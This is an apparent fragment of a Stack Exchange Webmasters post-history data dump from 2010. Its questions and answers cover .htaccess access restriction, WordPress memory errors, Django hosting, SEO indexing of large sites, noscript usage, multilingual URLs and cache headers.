  <row Id="10552" PostHistoryTypeId="1" PostId="5301" RevisionGUID="8aa592d0-4579-4282-9d0f-9e22b5af9eea" CreationDate="2010-11-10T20:55:46.337" UserId="2595" Text="Restrict access to web directory with .htaccess" />
  <row Id="10553" PostHistoryTypeId="3" PostId="5301" RevisionGUID="8aa592d0-4579-4282-9d0f-9e22b5af9eea" CreationDate="2010-11-10T20:55:46.337" UserId="2595" Text="&lt;security&gt;&lt;htaccess&gt;" />
  <row Id="10554" PostHistoryTypeId="2" PostId="5302" RevisionGUID="bc521ead-3a95-4f32-8887-1bec82879847" CreationDate="2010-11-10T20:56:57.677" UserId="2047" Text="I migrated my wordpress blog to a new server, and everything seemed to be working fine until it started giving me the error when entering the admin area:&#xD;&#xA;&#xD;&#xA;&gt;     Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to&#xD;&#xA;&gt; allocate 4864 bytes) in&#xD;&#xA;&gt; /home/neworder/public_html/blog/wp-admin/includes/plugin.php&#xD;&#xA;&gt; on line 729&#xD;&#xA;&#xD;&#xA;The line 729 has:&#xD;&#xA;&#xD;&#xA;    $protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' );&#xD;&#xA;&#xD;&#xA;I had installed the maintenance-mode, and I have suspitious that this is what broke the forum.&#xD;&#xA;&#xD;&#xA;If I remove the plugin it then gives another error:&#xD;&#xA;&#xD;&#xA;&gt; Fatal error: Allowed memory size of&#xD;&#xA;&gt; 33554432 bytes exhausted (tried to&#xD;&#xA;&gt; allocate 19456 bytes) in&#xD;&#xA;&gt; /home/neworder/public_html/blog/wp-admin/includes/post.php&#xD;&#xA;&gt; on line 1158&#xD;&#xA;&#xD;&#xA;And that line has:&#xD;&#xA;&#xD;&#xA;    $content .= '&lt;p class=&quot;hide-if-no-js&quot;&gt;' . esc_html__( 'Remove featured image' ) . '&lt;/p&gt;';&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I tried to restore the blog file-system from the old server and also to restore the database from the old server (2x), but still it gives me the same error. &#xD;&#xA;&#xD;&#xA;The blog itself seems to be working fine:&#xD;&#xA;&#xD;&#xA;http://blog.antinovaordemmundial.com/&#xD;&#xA;&#xD;&#xA;Anyone would have any sugestion?" />
  <row Id="10555" PostHistoryTypeId="1" PostId="5302" RevisionGUID="bc521ead-3a95-4f32-8887-1bec82879847" CreationDate="2010-11-10T20:56:57.677" UserId="2047" Text="Can't get into the admin console after migrating to new server" />
  <row Id="10556" PostHistoryTypeId="3" PostId="5302" RevisionGUID="bc521ead-3a95-4f32-8887-1bec82879847" CreationDate="2010-11-10T20:56:57.677" UserId="2047" Text="&lt;wordpress&gt;&lt;administration&gt;" />
  <row Id="10557" PostHistoryTypeId="2" PostId="5303" RevisionGUID="fc249a36-7b69-4a9e-82b9-3c28b36459d7" CreationDate="2010-11-10T21:02:09.683" UserId="2595" Text="Try taking a look at this:&#xD;&#xA;http://nabtron.com/wordpress-3-0-fatal-error-allowed-memory-size-of-33554432-bytes-exhausted/1924/" />
  <row Id="10558" PostHistoryTypeId="2" PostId="5304" RevisionGUID="792debc2-2464-4ad6-8bd1-b308b6b92128" CreationDate="2010-11-10T21:06:54.013" UserId="2209" Text="You could deny all text file access...&#xD;&#xA;&#xD;&#xA;    &lt;Files *.txt&gt;&#xD;&#xA;    Order deny,allow&#xD;&#xA;    Deny from All &#xD;&#xA;    &lt;/Files&gt;" />
  <row Id="10559" PostHistoryTypeId="2" PostId="5305" RevisionGUID="a2ff19ef-f24f-4bbc-8c10-487c790e4fe6" CreationDate="2010-11-10T21:09:30.157" UserId="1253" Text="Another option, perhaps preferred, is to move that directory (or just the file) outside of your web root. That way its impossible to get to it via web browser but it is still available to your scripts." />
  <row Id="10560" PostHistoryTypeId="2" PostId="5306" RevisionGUID="0c203d55-ebc1-4392-8b72-b4a72d51fdf2" CreationDate="2010-11-10T21:11:34.243" UserId="1843" Text="We're looking for a good place to host our custom Django app (a fork of [OSQA][1]) and its postgresql backend. Requirements include:&#xD;&#xA;&#xD;&#xA;- Linux&#xD;&#xA;- Python 2.6 or (ideally) Python 2.7&#xD;&#xA;- Django 1.2&#xD;&#xA;- Postgres 8.4 or later &#xD;&#xA;- DB backup/restore handled by the hoster, not us&#xD;&#xA;- OS &amp; dev-platform-stack patching/maintenance handled by the hoster, not us&#xD;&#xA;- SSH access (so we can pull source code from GitHub, so we can install python eggs, etc.)&#xD;&#xA;- ability to set up cron jobs (e.g. to send out dail email updates)&#xD;&#xA;- ability to send up to 10K emails/day&#xD;&#xA;- good performance (not ganged up with a zillion other sites on one CPU, not starved for RAM)&#xD;&#xA;- FTP or SCP access to web logs&#xD;&#xA;- dedicated public IP&#xD;&#xA;- SSL support &#xD;&#xA;- Costs under $1000/month for a relatively small site (&lt;5M pageviews/month)&#xD;&#xA;- Good customer service&#xD;&#xA;&#xD;&#xA;Anyone have a recommendation?&#xD;&#xA;&#xD;&#xA;  [1]: http://osqa.net/" />
  <row Id="10561" PostHistoryTypeId="1" PostId="5306" RevisionGUID="0c203d55-ebc1-4392-8b72-b4a72d51fdf2" CreationDate="2010-11-10T21:11:34.243" UserId="1843" Text="django &amp; postgres PaaS hosting?" />
  <row Id="10562" PostHistoryTypeId="3" PostId="5306" RevisionGUID="0c203d55-ebc1-4392-8b72-b4a72d51fdf2" CreationDate="2010-11-10T21:11:34.243" UserId="1843" Text="&lt;web-hosting&gt;&lt;django&gt;" />
  <row Id="10563" PostHistoryTypeId="2" PostId="5307" RevisionGUID="84ae1e95-2f09-4614-9a36-ad972559a4e1" CreationDate="2010-11-10T21:25:23.230" UserId="19" Text="I have a site with hundreds of content pages. Each content page has a Facebook like button on it. Aside from browsing to each page and reading the number next to each Like button, how can I get information about the number of likes across my whole website? There doesn't seem to be any tools on Facebook that allow me to do this.&#xD;&#xA;&#xD;&#xA;Any help or advice is appreciated." />
  <row Id="10564" PostHistoryTypeId="1" PostId="5307" RevisionGUID="84ae1e95-2f09-4614-9a36-ad972559a4e1" CreationDate="2010-11-10T21:25:23.230" UserId="19" Text="How to get metrics for use of Facebook social plugins?" />
  <row Id="10565" PostHistoryTypeId="3" PostId="5307" RevisionGUID="84ae1e95-2f09-4614-9a36-ad972559a4e1" CreationDate="2010-11-10T21:25:23.230" UserId="19" Text="&lt;analytics&gt;&lt;facebook&gt;" />
  <row Id="10566" PostHistoryTypeId="2" PostId="5308" RevisionGUID="f6a61862-5aef-4e2e-8bb8-ee5c4bd963f5" CreationDate="2010-11-10T21:25:23.637" UserId="745" Text="Some potential strategies:&#xD;&#xA;&#xD;&#xA; - Google Webmaster Tools allows you to&#xD;&#xA;   request an increased crawl rate. Try&#xD;&#xA;   doing that if you haven't already.&#xD;&#xA; - Take another look at your navigation&#xD;&#xA;   architecture to see if you can't&#xD;&#xA;   improve access to more of your&#xD;&#xA;   content. Look at it from a user's perspective: If it's hard for a user to find a specific piece of information, it may be hard for search engines as well.&#xD;&#xA; - Make sure you don't have duplicate content because of inconsistent URL parameters or improper use of slashes. By eliminating duplicate content, you cut down on the time Googlebot spends crawling something it has already indexed.&#xD;&#xA; - Use related content links and in-site&#xD;&#xA;   linking within your content whenever&#xD;&#xA;   possible.&#xD;&#xA; - Randomize some of your links. A sidebar with random internal content is a great pattern to use.&#xD;&#xA; - Use dates and other [microformats][1].&#xD;&#xA; - Use RSS feeds wherever possible. RSS&#xD;&#xA;   feeds will function much the same as&#xD;&#xA;   a sitemap (in fact, Webmaster Tools&#xD;&#xA;   allows you to submit a feed as a&#xD;&#xA;   sitemap).&#xD;&#xA; - Regarding sitemaps, see [this&#xD;&#xA;   question][2].&#xD;&#xA; - Find ways to get external links to your content. This may accelerate the process of it getting indexed. If it's appropriate to the type of content, making it easy to share socially or through email will help with this.&#xD;&#xA; - Provide an API to incentivize use of&#xD;&#xA;   your data and external links to your&#xD;&#xA;   data. You can have an attribution&#xD;&#xA;   link as a requirement to the data&#xD;&#xA;   use.&#xD;&#xA; - Embrace the community. If you reach out to the right people in the right way, you'll get external links via blogs and Twitter.&#xD;&#xA; - Look for ways to create a community around your data. Find a way to make it social. API's, mashups, social widgets all help, but so do a blog, community showcases, forums, and [gaming mechanics][3] (also, see [this video][4]).&#xD;&#xA; - Prioritize which content you have indexed. With that much data, not all of it is going to be absolutely vital. Make a strategic decision as to what content is most important, e.g., it will be most popular, it has the best chance at ROI, it will be the most useful, etc. and make sure that that content is indexed first.&#xD;&#xA; - Do a detailed analysis of what your competitor is doing to get their content indexed. Look at their site architecture, their navigation, their external links, etc.&#xD;&#xA;&#xD;&#xA;Finally, I should say this. SEO and indexing are only small parts to running a business site. Don't lose focus on ROI for the sake of SEO. Even if you have a lot of traffic from Google, it doesn't matter if you can't convert it. SEO is important, but it needs to be kept in perspective.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/microformats&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox&#xD;&#xA;  [3]: http://gamedev.stackexchange.com/questions/3131/what-are-the-other-three-game-dynamics&#xD;&#xA;  [4]: http://www.ted.com/talks/jesse_schell_when_games_invade_real_life.html" />
  <row Id="10567" PostHistoryTypeId="2" PostId="5309" RevisionGUID="9d1f9b86-0a5d-4adc-a1cc-1b2908d1a936" CreationDate="2010-11-10T21:39:42.047" UserId="1064" Text="&gt; How to get tens of millions of pages&#xD;&#xA;&gt; indexed by Google bot?&#xD;&#xA;&#xD;&#xA;It won't happen overnight, however, I guarantee that you would see more of your pages spidered sooner if inbound links to deep content (particularly sitemap pages or directory indexes which point to yet deeper content) were being added from similarly-large sites which have been around for a while.&#xD;&#xA;&#xD;&#xA;&gt; Will an older domain be sufficient to&#xD;&#xA;&gt; get 100,000 pages indexed per day?&#xD;&#xA;&#xD;&#xA;Doubtful, unless you're talking about an older domain that has had a significant amount of activity on it (i.e. accumulated content and inbound links) over the years.&#xD;&#xA;&#xD;&#xA;&gt; Are there any SEO consultants who&#xD;&#xA;&gt; specialize in aiding the indexing&#xD;&#xA;&gt; process itself.&#xD;&#xA;&#xD;&#xA;When you pose the question that way, I'm sure you'll find plenty of SEO's who loudly proclaim &quot;yes!&quot; but, at the end of the day, Virtuosi Media's suggestions are as good advice as you'll get from any of them (to say nothing of the potentially-bad advice).&#xD;&#xA;&#xD;&#xA;From the sound of it, you should consider utilizing business development and public relations channels to build your site's ranking at this point - get more links to your content (preferably by partnering with an existing site which offers regionally-targeted content to link in to your regionally-divided content, for example), get more people browsing to your site (some will have the Google toolbar installed so their traffic *may* work toward page discovery), and, if possible, get your business talked about on the news or in communities of people who have a need for it (if you plan to charge for certain services, consider advertising a free trial period to draw interest)." />
  <row Id="10568" PostHistoryTypeId="2" PostId="5310" RevisionGUID="6952e2bf-e7e5-4235-83ec-055d87d69660" CreationDate="2010-11-10T21:45:30.360" UserId="1757" Text="Gaming the system is never a good idea if you're running a legitimate business that values its online reputation. Also, if your site genuinely provides value, then the longer it's around (I assume you're doing some form of marketing?) the more backlinks it will accrue, so your PR will go up and your crawl rate will go up.&#xD;&#xA;&#xD;&#xA;Also, if you have a good link structure on your site (all of your pages are discoverable in a reasonable number of clicks/links), then you only need to submit the main indexes via sitemap. Once those pages are indexed by Google, they will be crawled by Google, and Google will index the rest of the pages on its own." />
  <row Id="10575" PostHistoryTypeId="2" PostId="5312" RevisionGUID="b5b09666-3bf8-4454-8729-3b1b0f7136a8" CreationDate="2010-11-10T22:03:33.300" UserDisplayName="mrsteve" Text="So here some tipps from me. I find the other answers very good.  &#xD;&#xA;Maybe this is helpful maybe not . It worked for me ;-)  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;1) Find the very best genius and intelligent person to give you tipps. This is the most timesaving, so for me it is the most important one. (maybe one management person, one technical to discuss with)    &#xD;&#xA;&#xD;&#xA;2) With the help of Point one find what is the state-of-the art and find the absolute best people who can work with it.  &#xD;&#xA;&#xD;&#xA;So for instance if managing information is a relevant factor. (I have to guess if this relevant to you project or not.)  &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;Consider OWL, which is part of the semantic web standards. A very good programmer can make an ontology, can index, and can reason about the data and give the most relevant results to users. Maybe all in 3 days of programming.  &#xD;&#xA;&#xD;&#xA;http://wiki.dbpedia.org/OnlineAccess  &#xD;&#xA;dbpedia_org/sparql  &#xD;&#xA;&#xD;&#xA;This is a simple interface based on OWL.  &#xD;&#xA;&#xD;&#xA;Or consider the programming language R (r-project.org). With R one could analyze market prizes, generate charts, answer a question like ‘is this a cheap prize for the property’, or maybe even make a forecast for the near future. R was even praised by the New York Times as a helpful tool.&#xD;&#xA;" />
  <row Id="10576" PostHistoryTypeId="6" PostId="5297" RevisionGUID="6f5224de-5587-49d8-892b-1ba93db51dc7" CreationDate="2010-11-10T22:44:22.400" UserId="60" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;asp.net-mvc&gt;" />
  <row Id="10577" PostHistoryTypeId="10" PostId="5297" RevisionGUID="71ecc978-3480-458a-994e-1dc09d3b49fa" CreationDate="2010-11-10T23:09:32.887" UserId="138" CloseReasonId="7" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="10581" PostHistoryTypeId="4" PostId="5306" RevisionGUID="c2696ef0-8eb2-4704-8d90-33db23c80c7b" CreationDate="2010-11-11T02:14:17.970" UserId="1843" Comment="edited title" Text="django &amp; postgres linux hosting (with SSH access) recommendations " />
  <row Id="10582" PostHistoryTypeId="2" PostId="5314" RevisionGUID="6e456e7c-647f-4993-9db1-de33959a2ea7" CreationDate="2010-11-11T03:06:28.533" UserId="1757" Text="I'm thinking this is exactly what [Facebook Insights][1] is designed for.&#xD;&#xA;&#xD;&#xA;I haven't tried any of these yet, but there are also a few social media analytics services out there that might help you track this data.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mashable.com/2010/06/07/facebook-insights-dashboard/" />
  <row Id="10583" PostHistoryTypeId="2" PostId="5315" RevisionGUID="ac30e68a-119d-465f-af3a-82b8f149ea4d" CreationDate="2010-11-11T03:34:51.427" UserId="1757" Text="Why are you using `iframe`s? `iframe`s and `frame`s should be avoided as much as possible, especially for content, as they present problems for screen readers, search engines, text-based browsers, and a lot of other HTML applications.&#xD;&#xA;&#xD;&#xA;RSS support for HTML has always been spotty at best. Different readers have different levels of support. `iframe`s, which already have few legitimate uses on a webpage, have no legitimate uses at all in a newsfeed. In fact, it presents an XSS problem for web-based readers." />
  <row Id="10584" PostHistoryTypeId="2" PostId="5316" RevisionGUID="5102a6ae-1169-435e-a5ed-4585f3bd3ff1" CreationDate="2010-11-11T03:50:34.083" UserDisplayName="mrsteve" Text="I am currently building a system that automatically create a redesign of an existing webpage. The new webpage should have better graphic design, better industrial design, and a state of the art implementation.  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;I’m looking for an existing webpage which has very good content but which is not designed according to state-of-the-art web design. Preferable the content is license under CC (Creative Commons) or similar. The web page should serve as a demonstration of the automatic redesigning system.  &#xD;&#xA;.  &#xD;&#xA;&#xD;&#xA;1)&#xD;&#xA;What would be a good web site with good/important content but a bad web design?&#xD;&#xA;&#xD;&#xA;.  &#xD;&#xA;&#xD;&#xA;Current ideas include Project Gutenberg and educational youtube videos.  &#xD;&#xA;&#xD;&#xA;The following is a more detailed description and I would be VERY thankful for any feedback or any ideas or pointers. The motivation for the project is this: many websites we know have a poor design, esp. in the public sector, like our local hospital web page (more than 2000 beds but unusable webpage).  &#xD;&#xA;&#xD;&#xA;To help solve the problem we would like to create a system that can automatically redesign a web page and generate a new page of the existing content. A normal user gives the system annotations, about what is what, like navigation items or headlines, etc. Finally the systems generates different design proposals and the user can pick a suitable one.  &#xD;&#xA;&#xD;&#xA;It’s a open source project. We are currently me (programming and mathematics) and a graphic designer, but should soon 4 people. Our goal is to show a very basic/minimal working solution within the next 10 months. Just so that nobody asks: is this a one person project?? ;-)   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;.  &#xD;&#xA;Current ideas:  &#xD;&#xA;&#xD;&#xA; - Innovative interfaces&#xD;&#xA;a nice idea is www.cooliris.com/ but preferable without plug in. Also interesting are zoom interface www.youtube.com/watch?v=EuELwq2ThJE maybe even zoom.it/ Are there any further examples?    &#xD;&#xA;&#xD;&#xA; - Ideally, a program would be able to distinguish between good and bad graphic design or at least find patterns among good designs. Parameters would be: pictures / colum widths according to the golden ratio, colors used, how much white space, etc. Dataset could be sites listed as ‘top 40 ‘, for example at www.designrfix.com/inspiration/web-design-40-fantastic-examples   For the analysis: statistical visualization and maybe even bayesian learning.  &#xD;&#xA;&#xD;&#xA; - Automatic document classification:  to index existing web pages and PDF documents.  &#xD;&#xA; - semantic web  &#xD;&#xA; - rdf/owl, perhaps a user can annotate certain elements on a web page according to a predefined ontology.&#xD;&#xA;&#xD;&#xA;Thanks for reading this far. Have a nice day ;-)&#xD;&#xA;" />
  <row Id="10585" PostHistoryTypeId="1" PostId="5316" RevisionGUID="5102a6ae-1169-435e-a5ed-4585f3bd3ff1" CreationDate="2010-11-11T03:50:34.083" UserDisplayName="mrsteve" Text="Bad webpage with excellent content. Ideas?" />
  <row Id="10586" PostHistoryTypeId="3" PostId="5316" RevisionGUID="5102a6ae-1169-435e-a5ed-4585f3bd3ff1" CreationDate="2010-11-11T03:50:34.083" UserDisplayName="mrsteve" Text="&lt;html&gt;&lt;web-development&gt;&lt;css&gt;&lt;website-design&gt;&lt;javascript&gt;" />
  <row Id="10587" PostHistoryTypeId="2" PostId="5317" RevisionGUID="92204c03-e2b7-43b7-a839-90ca93d91443" CreationDate="2010-11-11T08:29:53.563" UserId="1089" Text="How about [Jakob Nielson's][1] website?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/&#xD;&#xA;" />
  <row Id="10588" PostHistoryTypeId="2" PostId="5318" RevisionGUID="a63a85e4-934a-4d58-b9a9-15c9c55d8292" CreationDate="2010-11-11T08:41:55.820" UserId="3020" Text="I would consider using http://aws.amazon.com/ec2/" />
  <row Id="10589" PostHistoryTypeId="2" PostId="5319" RevisionGUID="6d3eee53-c5e9-4055-8b96-a94211ffe43d" CreationDate="2010-11-11T10:41:14.587" UserId="1064" Text="I need an efficient and aesthetically-pleasing way to gracefully degrade site appearance for users with Javascript disabled and, while I am not aware of any problem with adding a link to an alternative stylesheet wrapped in `noscript` tags in the document header [w/HTML5][1], I figured it couldn't hurt to ask before going that route.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatwg.org/specs/web-apps/current-work/#the-noscript-element" />
  <row Id="10590" PostHistoryTypeId="1" PostId="5319" RevisionGUID="6d3eee53-c5e9-4055-8b96-a94211ffe43d" CreationDate="2010-11-11T10:41:14.587" UserId="1064" Text="Are there any good reasons to avoid using the noscript tag in an HTML5 header?" />
  <row Id="10591" PostHistoryTypeId="3" PostId="5319" RevisionGUID="6d3eee53-c5e9-4055-8b96-a94211ffe43d" CreationDate="2010-11-11T10:41:14.587" UserId="1064" Text="&lt;html&gt;&lt;headers&gt;&lt;noscript&gt;" />
  <row Id="10592" PostHistoryTypeId="2" PostId="5320" RevisionGUID="43a7ef32-0f8c-47b4-a5fd-deea808cf9f2" CreationDate="2010-11-11T12:16:19.243" UserId="233" Text="In general it's better to use *progressive enhancement* rather than *graceful degradation*. This means essentially starting with the content as if the user has no scripting, then using Javascript to enhance the page.&#xD;&#xA;&#xD;&#xA;For example, you might start with a link/button that goes somewhere or submits a form. Then you add Javascript that prevents naivgation/submission and does something else instead.&#xD;&#xA;&#xD;&#xA;For your specific case, I can't think of a good reason to add a stylesheet in noscript tags. Why not add the styles to your main stylesheet? If there is a clash of styles, I would start with the noscript ones applied then use Javascript to add a single class/ID on a parent element which changes the styles." />
  <row Id="10595" PostHistoryTypeId="2" PostId="5321" RevisionGUID="f9db081e-22b2-409a-9576-f891ec6605ba" CreationDate="2010-11-11T12:43:27.867" UserId="3153" Text="I have a working website and I need to integrate a forum into it. The problem is, I need the forum script to use usernames and passwords from a mysql table that is already created. This is why I need a forum that supports translations and has a simple code I can adjust to my databse.&#xD;&#xA;Any ideas on such forum scripts?" />
  <row Id="10596" PostHistoryTypeId="1" PostId="5321" RevisionGUID="f9db081e-22b2-409a-9576-f891ec6605ba" CreationDate="2010-11-11T12:43:27.867" UserId="3153" Text="Looking for a simple forum script." />
  <row Id="10597" PostHistoryTypeId="3" PostId="5321" RevisionGUID="f9db081e-22b2-409a-9576-f891ec6605ba" CreationDate="2010-11-11T12:43:27.867" UserId="3153" Text="&lt;php&gt;&lt;mysql&gt;&lt;forum&gt;&lt;integration&gt;" />
  <row Id="10598" PostHistoryTypeId="10" PostId="5316" RevisionGUID="91dabd78-9a32-4f20-9e00-5b3c20318bf9" CreationDate="2010-11-11T12:47:18.123" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="10599" PostHistoryTypeId="2" PostId="5323" RevisionGUID="cf02f615-08e3-4b18-a709-2a6d879f33f6" CreationDate="2010-11-11T08:50:14.220" UserDisplayName="skyflyer" Text="For English page, www.mysite.com/items/1/blue_cup  is a great idea. You definitely got leverage regarding to SEO should you put keywords in it, and I just can not see any reason not do it. &#xD;&#xA;&lt;P&gt;However, for Chinese pages, it does not make any sense to put  Chinese in URL, be it traditional or simplified. Do you want to make it like this? &lt;p&gt;www.mysite.com/商品/1/蓝_杯子？or &lt;p&gt;www.mysite.com/shangping/1/lan_beizi?(This looks good though, yet I do not believe search engines care those sort of keywords.)&#xD;&#xA;&lt;p&gt;They way most of web site do are putting keywords in English page url, but using numerical or other code in Chines url. Easy to maintain database, and looks not so awkward. In terms of Chinese page SEO, you need to find other ways. &#xD;&#xA;&lt;p&gt;Just a thought. Hope it helps you a bit.   &#xD;&#xA; " />
  <row Id="10600" PostHistoryTypeId="2" PostId="5322" RevisionGUID="e702ee8d-ed45-465b-972a-178cadcc0ecb" CreationDate="2010-11-11T03:43:13.630" UserId="2727" Text="I'm building an online store that will be supported in 3 languages: English, Traditional Chinese, and Simplified Chinese.&#xD;&#xA;&#xD;&#xA;My question is whether or not it is a good idea to make language specific URLs for SEO purposes.  So if I'm viewing the site in english, the urls on the product page are in english, but if I view the site in traditional chinese, then the urls are written in traditional chinese.&#xD;&#xA;&#xD;&#xA;E.g.  &#xD;&#xA;www.mysite.com/items/1/blue_cup  (english)  &#xD;&#xA;www.mysite.com/xxxxx/1/xxxxxxxx  (traditional chinese)  &#xD;&#xA;www.mysite.com/yyyyy/1/yyyyyyyy  (simplified chinese)&#xD;&#xA;&#xD;&#xA;**EDIT**  &#xD;&#xA;I should note that this is a site primarily built for a Traditional Chinese speaking country so it should cater towards that audience and their dominant search engine: Yahoo" />
  <row Id="10601" PostHistoryTypeId="1" PostId="5322" RevisionGUID="e702ee8d-ed45-465b-972a-178cadcc0ecb" CreationDate="2010-11-11T03:43:13.630" UserId="2727" Text="Multi Language URLs" />
  <row Id="10602" PostHistoryTypeId="3" PostId="5322" RevisionGUID="e702ee8d-ed45-465b-972a-178cadcc0ecb" CreationDate="2010-11-11T03:43:13.630" UserId="2727" Text="&lt;url&gt;&lt;seo&gt;&lt;multilingual&gt;" />
  <row Id="10603" PostHistoryTypeId="17" PostId="5322" RevisionGUID="651a8637-a582-4d88-99ad-0dd91a814d17" CreationDate="2010-11-11T13:10:25.633" UserId="-1" Comment="from http://stackoverflow.com/questions/4151192/multi-language-urls" Text="" />
  <row Id="10607" PostHistoryTypeId="5" PostId="5282" RevisionGUID="c01d707f-255f-4fc7-a532-9aecfdad0978" CreationDate="2010-11-11T14:12:48.520" UserId="1253" Comment="added 189 characters in body" Text="Similar answer to DisgruntledGoat:&#xD;&#xA;&#xD;&#xA;Place this in an .htaccess file in your root directory.&#xD;&#xA;&#xD;&#xA;**UPDATED**&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_expires.c&gt;&#xD;&#xA;        ExpiresActive On&#xD;&#xA;        ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;        ExpiresByType image/x-icon &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType image/jpeg &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType image/png &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType image/gif &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType application/x-shockwave-flash &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType text/css &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType text/javascript &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType application/x-javascript &quot;access plus 2692000 seconds&quot;&#xD;&#xA;        ExpiresByType text/html &quot;access plus 600 seconds&quot;&#xD;&#xA;        ExpiresByType application/xhtml+xml &quot;access plus 600 seconds&quot;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;        &lt;FilesMatch &quot;\\.(ico|jpe?g|png|gif|swf|css|js)$&quot;&gt;&#xD;&#xA;            Header set Cache-Control &quot;max-age=2692000, public&quot;&#xD;&#xA;        &lt;/FilesMatch&gt;&#xD;&#xA;        &lt;FilesMatch &quot;\\.(x?html?|php)$&quot;&gt;&#xD;&#xA;            Header set Cache-Control &quot;max-age=600, private, must-revalidate&quot;&#xD;&#xA;        &lt;/FilesMatch&gt;&#xD;&#xA;        Header unset ETag&#xD;&#xA;        Header unset Last-Modified&#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="10608" PostHistoryTypeId="2" PostId="5325" RevisionGUID="a6d59cd0-a9e3-4d0d-bf23-eae32975ae21" CreationDate="2010-11-11T14:41:39.047" UserId="2044" Text="i have recently generated sitemap for google.&#xD;&#xA;&#xD;&#xA;I included following loc, lastmod, changefreq. My site is in two languages. Do i need to add some other tags for specifying languages too" />
  <row Id="10609" PostHistoryTypeId="1" PostId="5325" RevisionGUID="a6d59cd0-a9e3-4d0d-bf23-eae32975ae21" CreationDate="2010-11-11T14:41:39.047" UserId="2044" Text="What are Sitemap content tags?" />
  <row Id="10610" PostHistoryTypeId="3" PostId="5325" RevisionGUID="a6d59cd0-a9e3-4d0d-bf23-eae32975ae21" CreationDate="2010-11-11T14:41:39.047" UserId="2044" Text="&lt;seo&gt;&lt;sitemap&gt;&lt;crawling&gt;" />
  <row Id="10611" PostHistoryTypeId="5" PostId="5300" RevisionGUID="219d5e42-53e5-4b3d-bfd5-8b54ce58275d" CreationDate="2010-11-11T14:41:47.650" UserId="3142" Comment="added some bullet points on the features previously left out when the question was posted" Text="We are currently developing a site that currently has 8 million unique pages that will grow to about 20 million right away, and eventually to about 50 million or more.&#xD;&#xA;&#xD;&#xA;Before you criticize... **Yes, it provides unique, useful content.** We continually process raw data from public records and by doing some data scrubbing, entity rollups, and relationship mapping, we've been able to generate quality content, developing a site that's quite useful and also unique, in part *due* to the breadth of the data.&#xD;&#xA;&#xD;&#xA;It's PR is 0 (new domain, no links), and we're getting spidered at a rate of about 500 pages per day, putting us at about 30,000 pages indexed thus far. At this rate, it would take over 400 years to index all of our data.&#xD;&#xA;&#xD;&#xA;I have two questions:&#xD;&#xA;&#xD;&#xA; 1. Is the rate of the indexing directly correlated to PR, and by that I mean is it correlated enough that by purchasing an old domain with good PR will get us to a workable indexing rate (in the neighborhood of 100,000 pages per day).&#xD;&#xA; 2. Are there any SEO consultants who specialize in aiding the indexing process itself. We're otherwise doing very well with SEO, **on**-page especially, besides, the competition for our &quot;long-tail&quot; keyword phrases is pretty low, so our success hinges mostly on the number of pages indexed.&#xD;&#xA;&#xD;&#xA;Our main competitor has achieved approx 20MM pages indexed in just over one year's time, along with an Alexa 2000-ish ranking.&#xD;&#xA;&#xD;&#xA;Noteworthy qualities we have in place:&#xD;&#xA;&#xD;&#xA; - page download speed is pretty good (250-500 ms)&#xD;&#xA; - no errors (no 404 or 500 errors when getting spidered)&#xD;&#xA; - we use Google webmaster tools and login daily&#xD;&#xA; - friendly URLs in place&#xD;&#xA; - I'm afraid to submit sitemaps. Some SEO community postings suggest a new site with millions of pages and no PR is suspicious. There is a [Google video of Matt Cutts speaking of a staged on-boarding of large sites][1], too, in order to avoid increased scrutiny (at approx 2:30 in the video).&#xD;&#xA;&#xD;&#xA;&lt;edit, addl. qualities in place, not listed previously&gt;&#xD;&#xA;&#xD;&#xA; - Clickable site links deliver all pages, no more than four pages deep and typically no more than 250(-ish) internal links on a page.&#xD;&#xA; - Anchor text for internal links is logical and adds relevance hierarchically to the data on the detail pages.&#xD;&#xA; - We had previously set the crawl rate to the highest on webmaster tools (only about a page every two seconds, max). I recently turned it back to &quot;let Google decide&quot; which is what is advised.&#xD;&#xA;&#xD;&#xA;&lt;/end edit&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://video.google.com/videoplay?docid=3583760678227172395&amp;q=large+sites+matt+cutts#" />
  <row Id="10612" PostHistoryTypeId="2" PostId="5326" RevisionGUID="f4fed437-89a7-44f6-90b9-22b7fa8f2447" CreationDate="2010-11-11T14:42:54.560" UserId="1253" Text="You can [see the format here][1]. There currently is no tag for specifying language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sitemaps.org/protocol.php" />
